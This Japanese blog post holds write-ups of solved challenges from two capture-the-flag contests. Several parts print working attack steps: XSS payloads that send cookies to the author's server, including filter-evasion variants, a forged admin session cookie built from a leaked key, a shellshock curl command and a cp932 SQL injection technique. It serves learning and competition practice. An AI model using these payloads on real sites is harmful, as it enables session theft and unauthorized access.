Google Capture The Flag writeup

チーム「yharima」として Google Capture The Flag に参加していました。

まずは、難易度が高い問題が多いと感じました。48時間の競技でしたが、24時間経っても誰も解いていない問題もそれなりにありました。最後まで誰も解いていない問題もありました。

また、ほとんどの問題では、TLSが有効になっていたのも印象的でした。問題の大筋には関係のないところでTLSを使っているだけでも、地味に面倒さが増える要因になったりしました。こういったところまで耐えられるかといったことを想定しているようです。

結果は145位でした。

その中で自分がしたことについて write up を書きます。

No Big Deal

やたらとでかいpcapファイルが与えられたので、とりあえず strings コマンドにかけてみると何やらBASE64らしい文字列が。base64 -dしてみるとフラグが得られた。「CTF{some_leaks_are_good_leaks_}」

Spotted Quoll

接続してCookieの中身を見てみると、何やらbase64エンコードされた文字列が。デコードしてみると以下のようなものが入っている。

(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

pythonとpicklesが気になるので調べてみるとシリアライズの一つの方法だったので、 Python で読み込んでユーザーのところにadminと入れたものを作り、 Cookie に押し戻すと /admin につながるようになった。

Wallowing Wallabies – Part One

青画面に等幅のシステムっぽいフォントという、BIOSっぽい画面が表示されていた。

ほかの問題の問題文で、 /robots.txt を見ることを示唆するものがあったので、この問題でも /robots.txt を見てみると、

User-agent: *
Disallow: /deep-blue-sea/
Disallow: /deep-blue-sea/team/
# Yes, these are alphabet puns :)
Disallow: /deep-blue-sea/team/characters
Disallow: /deep-blue-sea/team/paragraphs
Disallow: /deep-blue-sea/team/lines
Disallow: /deep-blue-sea/team/runes
Disallow: /deep-blue-sea/team/vendors

色々と指定されている。片っ端から見ていくと、 /deep-blue-sea/team/vendors に何やら問い合わせフォームのようなものがある(vendorに対して権限を要求するメッセージフォーム)。

試してみるとエスケープされずに HTML に表示されるが、それ以上どうするの?となった。しばらくすると<script>が含まれているときに<script src=という入力を期待している旨が表示され、また問題文にも XSS で Cookie を盗む問題である旨が追記されたので、 <script src=”https://nhiroki.net/waiha.js”></script> ということをして、その js には

documet.location = "https://nhiroki.net/hoge/" + document.cookie

というようなことを書くと、 Cookie が送られてきた。(当初はhttpで試したが、もともとhttpsで繋いでいるためかhttpだと手元のブラウザからすらアクセスがこなかった)

146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /waiha.js HTTP/1.1" 200 66 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7 HTTP/1.1" 404 395 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /favicon.ico HTTP/1.1" 200 11270 "https://nhiroki.net/fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"

送られてきた Cookie を再現して、もともといた vendor の URL に繋ぐとフラグ。

Wallowing Wallabies – Part Two

vendor の URL に繋いだとき、フラグのほかにメッセージ一覧があり、メッセージ一覧を開くとそれに返信するフォームが表示される。先ほどと同じ文字列を入力すると **ANTI**HACKER** に置換される。

src= や onload= も **ANTI**HACKER** に置換され、 <script src=”hoge”></script> は全体が **ANTI**HACKER** になった。

特に script は長い文字列が置換されるので、連結した文字列でなければいいのでは、ということで、

<script
src
=
"https://nhiroki.net/waiha"
>
</script
>

と入力すると通って、 Cookie がサーバに送られてきた(なお、.jsも**ANTI**HACKER**された)

ただ、どこのページにフラグがあるのかよくわからないので一旦チームのチャットに張ったところ、robots.txt のうち一つがつながってフラグが書いてあることをチームのメンバーが見つけてくれた。(自分でもそれは試したつもりだったのだけど、たいぽしていたらしい)

Wallowing Wallabies – Part Three

結構順当にスクリプトが通るが、 // が / になるのと、ピリオドが通らない。

チャットで逐一しゃべっていたら

> document.location ってdocument[“location”]でいけるよね

という風な指摘が来たので、

<script>document["location"]="https:///2634521196/hoge" + document["cookie"];</script>

とすると Cookie が送られてきた。また robots.txt のリンクを試すか、と思いながらとりあえずチームのチャットにアクセスログを張ったところ、瞬時につながっているページを見つけてくれた。

なおそのあと確認したところ、document[“location”] を使わなくとも

<script src="https:///2634521196/waiha"></script>

でも問題なかった。

Purple Wombats

繋ぐとログイン画面に行けるが、 “Undergoing emergency maintenance, sorry for any inconvenience caused” と言われる。

ここで、ソースコードに <!– If you’re interested in our source, please visit our github.com/mannequin-moments/ –> と書いてあるのに気づいた。(ほかの問題にも貼ってあって、それを見たときに関係ないと思っていたが、その時に見た画像がこの問題のサーバのトップページに貼ってあった画像と同じなのを思い出した)。

ソースコードを見るとセッション変数をCookieに暗号化だか電子署名だかなんだかして保存するタイプで、 webapp2 というライブラリを使っているようで、その暗号鍵まで GitHub に貼ってあったので、見ながら適当にすぐにログインできるコードを再現。

import jinja2
import json
import logging

import webapp2
from webapp2_extras import sessions
from paste import httpserver

config = {
        'webapp2_extras.sessions': {
            'secret_key': 'a793134b-c2c5-4cbf-973b-64ff7eea863a',
            'name': 'mannequin-moments',
        }
}
class RequestHandler(webapp2.RequestHandler):
    """Base request handler for Mannequin Moments."""
    jinja_env = jinja2.Environment(
            loader=jinja2.FileSystemLoader('templates')
            )

    def dispatch(self):
        self._session_store = sessions.get_store(request=self.request)

        try:
            super(RequestHandler, self).dispatch()
        finally:
            self._session_store.save_sessions(self.response)

    @webapp2.cached_property
    def session(self):
        return self._session_store.get_session()

    def render(self, tpl_name, **args):
        tmpl = self.jinja_env.get_template(tpl_name)
        args['logged_in'] = True if self.session.get('user') else False
        self.response.out.write(tmpl.render(**args))

class EasyHandler(RequestHandler):
    def get(self):
            self.session['user']='admin'
            return webapp2.Response('aaa')

app = webapp2.WSGIApplication([
    webapp2.Route('/', EasyHandler)
], config=config)

httpserver.serve(app,host='127.0.0.1',port='8080')

起動して繋いで降ってきたクッキーをブラウザに貼りつけて、ソースコードを見る限り /flags にフラグがありそうだったので繋いでみるとフラグが出てきた。

Opabina Regalis – Token Fetch

HTTP のプロトコルを独自プロトコルに書き換えたサーバに対して、接続してトークンを取得する問題。独自プロトコルについても記述があり、 Protocol Buffer をベースとしている。

もともと張られていたスキーマでの Protocol Buffer 自体はチームの他のメンバーが書いていたが、うまくいかないと言っていたのでそれをコピペして手元でいろいろ試してみたところ、先頭4バイトに明らかに32ビットの何かの整数が張られていることに気付く。そこで、

> The network protocol uses a 32-bit little endian integer representing the length of the marshalled protocol buffer, followed by the marshalled protocol buffer.

という記述があったことを思い出して、先頭に32ビットでペイロードの長さを書くようにするとサーバからレスポンスが返ってくるようになった。適当なURLだと /token に繋いでみたら、みたいなメッセージが返ってきたので、 /token に繋ぐとメッセージが返ってくる。もちろん Protocol Buffer で返ってくるが、こちらはパースまでしなくとも strings してコピペすれば問題なかった。

[nhirokinet@ubuntu ~/.../opabina 21:43:26]$ sh -c 'sleep 1; cat send.bin' | openssl s_client -quiet -connect ssl-added-and-removed-here.ctfcompetition.com:1876  | od -c
depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2
verify error:num=20:unable to get local issuer certificate
verify return:0
0000000   2  \0  \0  \0  \n   0  \b  \0 022  \n   /   n   o   t   -   t
0000020   o   k   e   n 032      \n  \n   U   s   e   r   -   A   g   e
0000040   n   t 022 022   o   p   a   b   i   n   a   -   r   e   g   a
0000060   l   i   s   .   g   o   V  \0  \0  \0 022   T  \b 310 001 022
0000100 034  \n 006   S   e   r   v   e   r 022 022   o   p   a   b   i
0000120   n   a   -   r   e   g   a   l   i   s   .   g   o 032   1   C
0000140   T   F   {   W   h   y   D   i   d   T   h   e   T   o   m   a
0000160   t   o   B   l   u   s   h   .   .   .   I   t   S   a   w   T
0000200   h   e   S   a   l   a   d   D   r   e   s   s   i   n   g   }
^C
[nhirokinet@ubuntu ~/.../opabina 21:43:33]$
package main; 
import java.io.FileInputStream;
import java.io.FileOutputStream;

import main.ExchangeOuterClass;

public class Main {
	public static void main(String[] args) throws Exception {
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Accept-Encoding").setValue("*").build();
		ExchangeOuterClass.Exchange.Request req = ExchangeOuterClass.Exchange.Request.newBuilder()
				.setVer(ExchangeOuterClass.Exchange.VerbType.GET)
				.setUri("/token")
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setRequest(req)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
/*
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Location").setValue("/token").build();
		ExchangeOuterClass.Exchange.Reply res = ExchangeOuterClass.Exchange.Reply.newBuilder()
				.setStatus(302)
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setReply(res)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
*/

		buffer=new byte[50];
		
		FileInputStream fileInStm = new FileInputStream("./recv.bin");
		fileInStm.read(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
	}
}

(追記)チームのメンバーの write up へのリンクを貼っておきます。

Google CTF writeup – yuta1024’s diary

場阿忍愚CTF writeup

場阿忍愚CTFに参加していました。個人でまともにCTFに参加したのは初めてなので、思い出して記憶を元に再現しながら write up を書いていきます。

練習

練習 – image level 1

4枚画像が渡されるので、それらを縦につなげた時に見える文字を入力する。並べたりしなくても心の目で見ればなんとかなる。

芸術

ワットイズディス?

画像を見ると甲骨文字で大和世幾由利手伊(由、伊はひらがなでいう小文字の配置)(手とした文字は呈のようにも見えた)と書いてあり、大和セキュリティを当て字にしていると思われた。また、ヒントには大和セキュリティ勉強会のステッカーである旨が記されている。

さて、ここからどうすれば?ということで、Wikipedia などを見ながら「甲骨文字」「金文」などそれらしいキーワードを入れるも失敗。「当て字」などとも入力するが失敗。「大和世幾由利手伊」「大和世幾由利呈伊」などでもないようだった。しばらく放置していたが、もしやと思って全部ひらがなで「やまとせきゅりてぃ」と入れると成功。

cole nanee?

画像が与えられる(画像検索すると @yamatosecurity のTwitterアイコンであることがわかる)。「印」とかではないので頑張って読んで試行錯誤する。忍者というキーワードが他の問題でも頻出するあたりから「忍」を入れると成功。

Lines and Boxes

背景に一定の箱と線が書かれ、手前に漢字が二文字書かれた画像が渡される。漢字は楷書体のように見えるが日本語のものではないようで、また、漢字の部品というよりは「d」のように見える部分もある。「日本人には読みづらい」というヒントもあるのでアルファベットを描き起こした可能性もあるが、読めないので画像検索。そのままでは背景に邪魔されて出ないのでペイントでざっくり背景を除去すると中国の Xu Bing(徐冰)氏の作品であり、アルファベットではあることがわかる。中国由来の文字を中国の方が記したものなので、大和魂と主張するのはあまりに中国に失礼そう。つまり、恐らく大和魂という主張と関係ない。アルファベットであるという類推に自信を得て右の文字を頑張って読むとplayだったので、画像検索にキーワード「play」を追加して解説画像を入手。「word play」だったことがわかる。

二進術

壱萬回

elfバイナリが与えられ、実行すると

3 * 8 = 

のような形式で加減乗除及び割り算の余りを求める問題を出してきて、手で答えると次の問題を出してくる模様。なので、基本的にはこの形式に沿って回答すればよいが、改行しないで出してくるのでバッファを無効化する必要がある。プログラム側ではどうにもならなかったので LD_PRELOADで他プロセスのバッファリング無効化 – murankの日記 の手段を取った。C言語で書いていたが、途中で双方向にパイプするのは意外と面倒なことに気づき、入力を適宜流すために nc でうまくパイプしてごまかしてフラグを得た。

Unity遊戯如何様

Mac 用のアプリが渡され、実行すると3Dのゲームが始まる。3つコインをとるとフラグが出るようだが、3つ目のコインがとんでもないところにおいてありとれない。

手がかりとして記されている通り、 Assembly-CSharp.dll を探し、.Net逆コンパイラを探し(ILSpyを仕様)、GUI Manager以下のコードを読むと、”its_3D_Game_Tutorial”がフラグのように見えるが入力しても失敗。前後のコードを読むもこれを上書きするような処理はなかった。ふとこれが文字の通り表示されているかという可能性に思い至り、中でもフォントの可能性を考慮した時、アルファベットのフォントではデザイン上の理由で小文字も大文字と同様に表示するものがあると想起。確かに他の文字列はソースコード上で小文字なのに大文字で表示されていたので大文字で”ITS_3D_GAME_TUTORIAL”と入力して成功。

解読術

image level 5

zipを解凍するとアルファベットが書かれた画像がいくつかある。Windows のエクスプローラだと撮影日時が記されているので、その順に入力すると正解。(実際には分以下の精度が必要になって Ubuntu で unzip した結果を見たような気もする)

Ninjya Crypto

忍者なら読める暗号とする画像がある。忍者の暗号についてしらべると忍者文字がそれらしいことが判り、「やまといえば」と読める。やまといえば、ということで「かわ」がフラグ。

攻撃術

craSH

ソースコードを読むと、大まかにはメモリの容量は決め打ちされていないが、ファイルサイズに相当するメモリを書き換える際にロックを一切していない。そのため、catの引数にとられたファイルが出力先になっている場合は、現在のサイズを元に出力先のサイズを決定後、新しいサイズを元にメモリへの書き込みを行う。

cat a a a > a

などとすると確保されたメモリを超過して書き込む。craSH 2 はなかなか大変な問題で結局解けなかったが、 craSH についてはメモリを破壊してプログラムをクラッシュさせるだけでよいので適当に上記コマンドを打つか、それでもだめならそのあと作ったファイルを幾つか表示させていればフラグが出てくる。

解析術

Doubtful Files

自己解凍形式のファイルが渡され、解凍してもそれ以上どうしようもないファイル群が登場する。Linux で strings などを試みたところとりあえず RAR の自己解凍形式であることがわかり、

unrar lta 151-DoubtfulFiles.exe

してみたところ、

  Type: NTFS alternate data stream
Target: :Zone.Identifier

という指定がされたファイルがあることに気づく。このキーワードで調べたところ Zone Identifier の存在を知り、これのファイルのうちファイルを大きめのものを見ると BASE64 エンコードされたらしい文字列が複数あり、結合してデコードするとフラグが出てきた。

情報漏洩

USB のパケットをキャプチャした様子があり、途中に大きなパケットがある。その直前のパケットに「PNG」「IHDR」の文字が見えるので、このあたりで検索すると、PNGファイルは「0x89 P N G」の4バイトで始まることがわかった。そのため、この一連のパケットから「0x89 P N G」で始まる部分を見た。既に着目した2パケットを結合してできた png ファイルを開くと、完全ではないものの画像が表示され、フラグはすべて表示されていた。

Speech by google translate

渡されたwavファイルではフラグのようなものを喋っているが、最後の文字が途中で途切れている。がんばって聞いて入力しても失敗。

ファイルサイズに対して少し再生時間が短いので、 RIFF の仕様を調べて本来より短くデータサイズを記したヘッダを修正すると最後まで聞くことができ、突破。

Cool Gadget

画像があるが、よくわからない。 strings で見てみると、 removeme={} で囲まれた文字列が出てくる。中身は BASE64 デコードされており、解凍すると Salted__ で始まるバイナリが登場する。これで調べたところ、opensslを用い、PBE(パスワードベース暗号化)で暗号化されているようだ。また、aes128-cbcの文字列が画像のメタデータとして埋め込まれていた。

そうなると暗号化パスワードがわからないが、removeme={} の部分を丸ごと削除した画像を見ると画像に Cryptex で文字列を示している様子が示された。これがパスワードとかんがえられる。これで暗号化解除してフラグを得た。

$ openssl enc -base64 -d -aes-128-cbc -in enc.txt -k EAHIV
flag={Cryptex is cool!}

enc.txtはremoveme={}の括弧の中身である。

電網術

ftp is not secure.

ftp で FLAG.tar をやり取りしているので、 Wireshark のダンプ機能で取り出して解凍。

ベーシック

BASIC 認証をしているパケットが渡されている。

user:pass が http://burning.nsc.gr.jp

となっている。nsc.gr.jp について軽く調べると場阿忍愚CTFと無関係ではないので、まず http://burning.nsc.gr.jp/ に接続し、ユーザー名が「http」パスワードが「//burning.nsc.gr.jp」で BASIC 認証を突破して解決。

六十秒

NTPで4回時刻を問い合わせたあとpingを一回打ったものをキャプチャしたものが渡された。いずれもパケットの行き先は NICT の NTP サーバ。

問題文を見ると、「昼九つ半の暗号を用いた」とある。昼九つ半は江戸時代に日本で使われていた不定時法で、季節変動があるが大まかな雰囲気としては現代で言う十三時頃である。なので多少無理があるが、じゅうさんじ、あんごう、といえば ROT13 変換、ということで、どこかで ROT13 が登場すると考えられる。(なお江戸時代でも定時法は一部で使われており、調べてみたところその場合は十二支を使うようだ。こちらは地方視太陽時の二十四時間制と一対一対応する。)

pingにはペイロードがあり、BASE64のようだが解読できず、ROT13変換しても解読できない。NTP のパケットサイズが二通りあるのでよくみると、リクエストの内容をそのままレスポンスに返す部分でROT13変換するとURLになりそうな文字列を送っており、変換すると「amazon.co.jp」「k.kyotou.ac.jp」「k.rulers」という内容が読み取れる。とはいってもわからないが、この問題には「サンタ殿からのヒント:素数グッズは生協以外でも販売されていますが、そのIDは削るために使われます。」とある。Amazon で京都大学の素数ものさしの販売ページに行くと、そのURLに含まれる販売者IDがpingのペイロードと一致することがわかる。pingのペイロードからそれを取り除いて BASE64 変換することでフラグを得た。

Japanese kids are knowing.

IP アドレスとともに、「ポートスキャンは苦しゅうない」との記述があるので、ポートスキャンを実施。開いていたポートのうち片方は ssh だったが、もう片方は telnet でつなぐと低速で何かを送ってきた。よく見るとかえるの歌で、メッセージの末尾に自身は動物でありその英語での名前の md5 変換がフラグである旨が記されているので、 “frog” を md5 変換したものがフラグとした。

Malicious Code

楽しい問題。一般的なユーザーが攻撃されたものを想定したパケットキャプチャが出題され、被害者のユーザーの動きを真面目に追っていけば途中でフラグが見つかる。パケットキャプチャのファイル単体でも読み物のような楽しさがあった。

まず、パケットをキャプチャすると、最初にウェブサーバに接続し、 iframe に埋め込まれた plink ファイルを読み込んでいる。その通信が完了したあとは謎のサーバと謎の通信をしているが、ストリームの先頭部分で検索しても TLS であることがわかるのみ、その暗号化も Diffie-Hellman 鍵共有がなされているため、秘密鍵を入手することができたとしてもどうしようもないことがわかる。

何はともあれ plink のファイルを(文脈的にマルウェアなので、実行せずに)覗いたところ、何かを x.js として書きだしたあとその x.js を実行していることに気づく。(当初は Windows の WHS の対応言語に js があることに気づかず、古い IE で Active X を実行されたことを疑っていたが、Windows に js ファイルを作成した時にユーザーが開く操作をすれば js ファイルは普通に実行できることに気づいた。)外側の eval を外すと、まさに怪しい通信の通信先(httpsであることが判明)にリクエストを投げ、レスポンスの内容をそのままコマンドとして実行するコードが登場。宛先をLAN内のサーバに書き換えて実行したところ、自身のネットワークインターフェイスのIPアドレスをPOSTで送出していること(とその形式)が判明。おおまかに攻撃の雰囲気を掴みとった感じを得つつ、それ以上のパケットもないと考えられた。なにはともあれとりあえず被害者が実施されたコマンドを見ようと、 IP アドレスをキャプチャファイルに合わせたリクエストを投げると、コマンドの代わりにフラグが降ってきた。

諜報術

KDL

1998年にKDLがどういう人材を募集していたかということで、InternetArchive で当時のKDLのウェブページを表示し、それらしい文字列をコピペ。

Mr.Nipps

山寺純社長が日本時間で2015年8月13日5:30にどこにいらっしゃったか、という旨を問われている。フラグはGPS由来の緯度と経度が必要。

なぜか社長の Twitter アカウントを見つけるのに苦労したが、@junyamaderaであることがわかる。そうとなればこの前後のツイートを見たいが、量が多くて遡るのが大変なので twilog で閲覧すると、無事このアカウントは twilog に登録されていたようで、該当するツイートを見つける。


とりあえず店の名前が書かれているのでウェブ検索し、登場した Google Maps の位置情報を打ち込んでもはずれ。ふとツイートに位置情報が埋め込まれていることに気づいたが、表示は地名のみで、Webでは座標は降ってこないようだった。APIで当該ツイートを取得してそれらしいものを入れると正解だった。

Akiko-chan

顔写真が与えられ、それがどこの wordpress サイトにあったかを問われる問題(フラグは *.wordpress.com の形式)。画像検索するとすぐに wordpress.com 以下のものが見つかるので、そのまま入力して送信。

タナカハック

「taなんとか123」のユーザー名を探す問題。答えは www.yamatosecurity.com に公開されているファイルにあるとされている。

www.yamatosecurity.com のドメイン内はいくら探しても www.tanakazakku.com ドメインのウェブページをフレームで表示している HTML ファイルしか返してこず、このサーバーに当該ファイルがHTTPでおいてあるとは考え難かった。また、 HTTP とは指定されていないので HTTPS, ftp, smb などに常識的なポートでの接続を試みたがうまくいかなかった。

また、サンタ殿からのヒントには「wgetとgrepとバイナリーエディターさえあればどんな問題でも解けるでござる。」と書かれており、 http で公開されていると判断するのが妥当だった。

こうなれば少し無理はあるが www.tanakazakku.com ドメインも「www.yamatosecurity.com から全画面でのフレームで埋め込まれているから、事実上 www.yamatosecurity.com で公開されている」と解釈して、このドメインも含めて探索した。wget で –recursive オプションを指定し、深さが深くなりすぎないようにしてリンク先のファイルを取得。あとは123を含むファイルを探して、前後のバイナリを見て当該する文字を入力すれば成功。

$ wget --recursive --html-extension --convert-links --page-requisites --no-parent --domains www.yamatosecurity.com,www.tanakazakku.com http://www.tanakazakku.com/yamatosecurity
(snip.)
$ grep 123 . -R
Binary file ./www.tanakazakku.com/yamatosecurity/files/networkforensics1.pdf matches
$ strings ./www.tanakazakku.com/yamatosecurity/files/networkforensics1.pdf |grep 123
(snip.)
<</Author(tanakazakkarini123)/CreationDate(D:20130422102054Z)/Creator(Microsoft PowerPoint)/Keywords()/ModDate(D:20150918163456+09'00')/Producer(Mac OS X 10.6.8 Quartz PDFContext)>>

タイムトラベル

平成25年9月21日に50.115.13.104が紐付いていたドメイン名を問われている。このIPアドレスとともに色々なキーワードを試して過去のドメイン名が記されたページを見つけた記憶があるが、どのようなキーワードだったか思い出せず、また今思いつくものをいくつか試してみても見当たらない。ある程度運にまかせつつ色々試すと解ける、くらいの問題だった。

記述術

search_duplicate_character_string

ふたつの異なる部分文字列で完全に一致するものを探して入力せよとのこと。ずらす文字数を一文字から(長さ-1)までの場合それぞれで先頭から見ていって、最も長いもののみを保持して出力すればよい。200,000バイトあるが、競技プログラミングと違って二秒で終わらせる必要はないのでO(N2)で充分。

JavaScript Puzzle

穴埋めパズルが登場する。開発者コンソールに左から入力してオブジェクトの要素などが存在するか調べたり、文字コードなどは雰囲気で読んだりして埋める。最終的に以下のようになる。場阿忍愚CTF JavaScript Puzzle

Count Number Of Flag’s Substring!

ウェブフォームから文字列を送ると、それがフラグの部分文字列として登場する回数を教えてくれる。/flag={[a-z_{}]+}/の形式であることはわかっている。

flag={で始まることがわかり、それを入力すると1になるので、あとは一文字ずつ[a-z_{}]の文字それぞれを試しながら伸ばしていき、文字が増えなくなったら終了。フラグ一文字あたり29クエリ程度(と前後の処理及び試行錯誤)が必要だが、それより短縮できるとも思えないのでそのまま実施。

解凍?

184-flag.txt をダウンロードし、 file コマンドで見ると bzip2 で圧縮されていることがわかる。ならばと解凍するとまた bzip2 で圧縮されており、また bzip2 で解凍すると今度は ZIP が出てくる、という具合に、マトリョーシカのように圧縮を繰り返されている。何度か手でやると、 ZIP, tar, bzip2, gzip の四種類が登場する。

手でやっていられないほどの段数を経ていると想定されるので、ある程度やって雰囲気を掴んだら自動化して最終的な flag.txt を抽出。

#!/bin/sh

while true
do
	ft=`file flag.txt`
	echo "$ft"

	if echo "$ft" | grep Zip
	then
		unzip -o flag.txt
		continue
	fi

	if echo "$ft" | grep "POSIX tar"
	then
		tar -xvf flag.txt
		continue
	fi

	if echo "$ft" | grep "bzip2 compressed"
	then
		mv flag.txt flag.txt.bz2
		bunzip2 flag.txt.bz2
		continue
	fi

	if echo "$ft" | grep "gzip"
	then
		mv flag.txt flag.txt.gz
		gzip -d flag.txt.gz
		continue
	fi

	break
done

Make sorted Amida kuji!

最初に問題の概要を把握するのに苦労するが、最初の並びが与えられるので、それを昇順に並び替えるあみだくじを指示された数重複なく与えるとフラグがもらえる模様。JSファイルを見るとあみだの線をどの場所に何度置いたかでフラグを生成しており、与えられた回数作るというよりは全種類作る必要があって作者が数を明示してくれているという雰囲気。

最初は 3 1 2 0 を並び替える問題が登場し、また、一つの正解が最初から入力されている。手で線をずらしながら適当に入力すると次のステージに進めた。

第二ステージ(最終)では、 9 8 6 5 7 3 2 1 0 4 をソートするあみだくじを62個(先ほどの考察の通りすべて)作る必要がある。正解も明示されていない。

色々紙で試行錯誤して一つ発見し、そこから線を上下にずらしたりしてみても20通りくらいでしかない。また、全探索は現実的でなさそうだった。

一旦考えなおし、現状で左端にある9,8 を右端に送り込むこと、縦の線が10本程度しかないため、この程度は必要になる(開始位置が少し違うものもあるが、制約条件としての強さは同じ)。

端から端まで二要素を届けるあみだくじ

また、あみだくじとして有効なすべてのパターンは、下の図かその上下反転のいずれかの部分あみだくじ(この状態を仮に「基本あみだくじ」とする。また、部分あみだくじとは元のあみだくじのうち横線を0本以上取り除いたものと定義する。)を元に、「線を上下にずらす」「開いている場所に上下に連続した二本の線を入れる」の操作のみで作ることができることがわかる。これよりも高密度にすることはできず、一本でも上下にずらした状態は単に使用可能な線が減るだけだからである。

基本あみだくじの基本

この二つの制約を整理する、まず基本あみだくじを全探索できることに気づく。基本あみだくじに使用可能な線45本のうち17本は必須のため、2^29程度の探索空間を二つ探索すればよい。

これで、8通りの基本あみだくじが見つかったので、これらを一旦印刷(比喩表現ではなく、プリンタを用いて紙に出力すること)する。

これらのほとんどは数本上下にずらしたり開いた空間に二本の連続した線を入れるだけだが、多くの模様を持つものが2通り見つかる。同時に、この二つはそれぞれ、高々29本の線に自由度があるだけであることに気づいた。そのため、これらについても全探索可能である(それぞれ20通りあった)。

これで62通り発見した。ソースコードのフラグを生成する部分には「simulate this function!!!」とあるが、印刷して手書きで発見した情報も含めて全部コードに起こすのもこの関数のシミュレーション結果を検証するのも面倒なので、全探索で発見した20通り×2をコピペできるようにし、あとは手打ちでブラウザで打ち込んでフラグを得た。

超文書転送術

GIFアニメ生成サイト

接続すると、画像をアップロードすることでGIFアニメを生成するウェブサイトが登場する。色々なURLパターンを試しているうちに、新規画像の生成時に渡されるURLのパス「/movies/newgif/:id」のID部分を1にするとID=1である最初のGIFアニメが閲覧でき、しかもフラグを言いたげな内容が表示されている。

しばらく待つと一瞬だけフラグが表示される。自宅で解いていればGIFアニメを処理する気の利いたツールを探すところだが、電車の中でタブレットで解いていたので、Windows の Snipping Tool でタイミングよくスクリーンショットをよることでフラグの獲得に成功。

Network Tools

ネットワーク系の色々なコマンドをオプションを指定して叩けるサイトが出てくる。コマンドインジェクションかと思うが、オプションががっちり制限されていてインジェクションはおろか普通にネットワーク系のコマンドで遊ぶことすらできない。コメントに利用可能なオプション一覧があるが、ヌルインジェクションなども含め任意のコマンドを動かすことは難しいようだ。

画面の下部に bash のバージョンが表示されており、もしやと思って調べてみるとまさに最近話題になった shellshock の脆弱性を抱えたバージョンだった。

試しに

$ curl -H 'User-Agent: () { :;}; ls ' http://210.146.64.37:60888/exec -F 'cmd=ifconfig' -F 'option=' | less

などとしてみると、lsが見つからない旨が表示される。lsを /bin/ls にすると flag.txt が見つかるので、/bin/cat flag.txt してフラグを得た。

箱庭XSS

実行ファイルが渡され、ウェブのフォームが表示されており、入力すると下に入力したものが大文字に変換されて表示される。試しに<b>a</b>などと入力してみると、まさに太字になった。

なので alert を入れた scriptタグを入れてみるが、動かない。指定の仕方がおかしかったか、ブラウザのバージョンなどもあるのか、などと試行錯誤の末、ローカルに alert するだけの js ファイルを置き、<script type=”text/javascript” src=”C:\Users\(中略)\hoge.js” /> といったことをすると、alert の代わりにフラグが表示された。

YamaToDo

ユーザが指定したエンコーディングで ToDo のメモが保存できるウェブサイト「YamaToDo」から、ユーザー「yamato」のメモを盗み出すというもの。

ソースコードを見ると、PHP の MySQL 呼び出しからユーザーの指定エンコーディングで直接 SET NAMES しており、かつ mysqli_real_escape_string を使っている。よく言われるしてはいけないパターンであることがわかる。

また、文字コード指定は sjis だけ弾いており、弾くエラーメッセージは’sjis? so sweeeeeeeeeet’であった。その時は単に英語としての意味が解らないとしていたが、後日気になって英語で sweet という語をインターネットの辞書(例: sweet – definition of sweet in English from the Oxford dictionary)で引くと、技術水準に言及する場合では円滑にことを運ぶことなどを意味するようであるため、「sjis?やるなああああああ(阻止)」という雰囲気であり、近いところまで来ていると判断できるともいえる。

手元の MySQL で文字コードの一覧を出力すると cp932 があり、こちらは使えることがわかる。そのため、その状態で「ソ’」などとすると’をエスケープする\がソの2バイト目で打ち消され、好きな文字をSQL文の続きとして入れられる。

複文は指定できず、また不正ログインについてもユーザ名及びパスワードについての妥当性検査が厳しいためできないが、INSERT のサブクエリとしてSELECTを入れて他人のメモを自分のメモにINSERTすることができた。あとはそれに従って解けばよかったが、エラーメッセージが表示されず、「同じテーブルを二回参照するときはテーブル名を指定しないとたいてい動かない」ことに気づかずはまっていた。手元で実行してようやく気づいてフラグらしき文字列を入手、ブラウザのエンコーディングを修正してフラグを得た。

Yamatoo

なかなか楽しかった問題。

